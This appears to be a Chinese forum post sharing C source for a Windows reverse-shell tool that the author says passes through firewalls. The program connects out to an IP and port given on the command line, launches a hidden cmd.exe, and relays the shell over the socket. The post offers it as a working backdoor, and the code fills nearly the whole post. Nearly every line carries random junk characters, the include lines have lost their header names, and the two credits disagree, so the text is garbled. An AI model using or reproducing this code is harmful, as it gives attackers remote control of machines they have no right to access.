Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 2cYBm^o|x  
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/* ============================== qG6s.TcG  
Rebound port in Windows NT )Zr9 `3[  
By wind,2006/7 G
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===============================*/ {]^Ixm-,f  
#include p:4jY|q  
#include +& r!%j7  
X.t4;  
#pragma comment(lib,"wsock32.lib") C{}_Rb'x  
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void OutputShell(); >c,s}HJ  
SOCKET sClient; ]Btkoad  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A;TP~xq\  
)Z/"P\qo  
void main(int argc,char **argv) |u&cN-}C d  
{ I/f\m}}ba  
WSADATA stWsaData; -* ,CMw  
int nRet; ,S-h~x  
SOCKADDR_IN stSaiClient,stSaiServer; 9-ozrw8t  
'h*jL@%TT  
if(argc != 3) 9|+6@6VY!  
{ ote,`h  
printf("Useage:\n\rRebound DestIP DestPort\n"); eTuqK23  
return; /v R>.'  
} R+M&\5  
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WSAStartup(MAKEWORD(2,2),&stWsaData); y}odTeq  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MYAt4cHc2  
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stSaiClient.sin_family = AF_INET; 6CY&pbR  
stSaiClient.sin_port = htons(0); vQMBJ&  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ":Wq<Z'  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >@YefN
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{ X,QsE{  
printf("Bind Socket Failed!\n"); -JMn?]  
return; fvkcJwkc  
} qlO}=b/  
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stSaiServer.sin_family = AF_INET; Cx7-
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r\Nfq
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); QZ a.c  
NX @FUct;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @+u>rS|IB  
{ :L[>!~YG_n  
printf("Connect Error!"); cw Obq\  
return;
@R[{  
} ~^mUu`@r  
OutputShell(); 7;'33Bm*  
} V>{< pS  
;5[KZ8j6Y  
void OutputShell() *3GV9'-P  
{ }#XFa#  
char szBuff[1024]; ~Z\:Nx  
SECURITY_ATTRIBUTES stSecurityAttributes; c`a(  
OSVERSIONINFO stOsversionInfo; K+B978XD  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zKJ2~=  
STARTUPINFO stStartupInfo; =CX1jrLZ  
char *szShell; ,^(]zZh  
PROCESS_INFORMATION stProcessInformation; M+/xw8}a  
unsigned long lBytesRead; 0I&k_7_  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (Fv tL*  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rwm^{Qa  
stSecurityAttributes.lpSecurityDescriptor = 0; T<AT
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stSecurityAttributes.bInheritHandle = TRUE; ccD+AGM.  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L4#pMc  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 
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!rvEo =^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wQkM:=t5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {T){!UVp!  
stStartupInfo.wShowWindow = SW_HIDE; 0#q=-M/?`  
stStartupInfo.hStdInput = hReadPipe; N##`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nwRltK  
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GetVersionEx(&stOsversionInfo); KyvZ?R  
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switch(stOsversionInfo.dwPlatformId) i!wU8@  
{ Szus*YL7  
case 1: =YO ]m<  
szShell = "command.com"; I.2J-pu}  
break; EE/mxN(<  
default: s27IeF3  
szShell = "cmd.exe"; 4w4B\Na>l  
break; nla6QlFYn*  
} cNs'GfD}  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2ZH+fV?.  
4E'9;tA3l  
send(sClient,szMsg,77,0); 0c_xPBbB+  
while(1) 5of3&  
{ rr<E#w  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {|;a?]?  
if(lBytesRead) l6viP}R  
{ Ic&h8vSU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5En
6f`nR{  
send(sClient,szBuff,lBytesRead,0); ~6vz2DuB=  
} <N<Q9}`V  
else f0<zK!  
{ PT"}2sR)  
lBytesRead=recv(sClient,szBuff,1024,0); D$>_W,*V  
if(lBytesRead<=0) break; l,ENMKA^D  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :5d>^6eoB?  
} 1^iBS  
} jm_-f  
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return; N<EVs.7  
}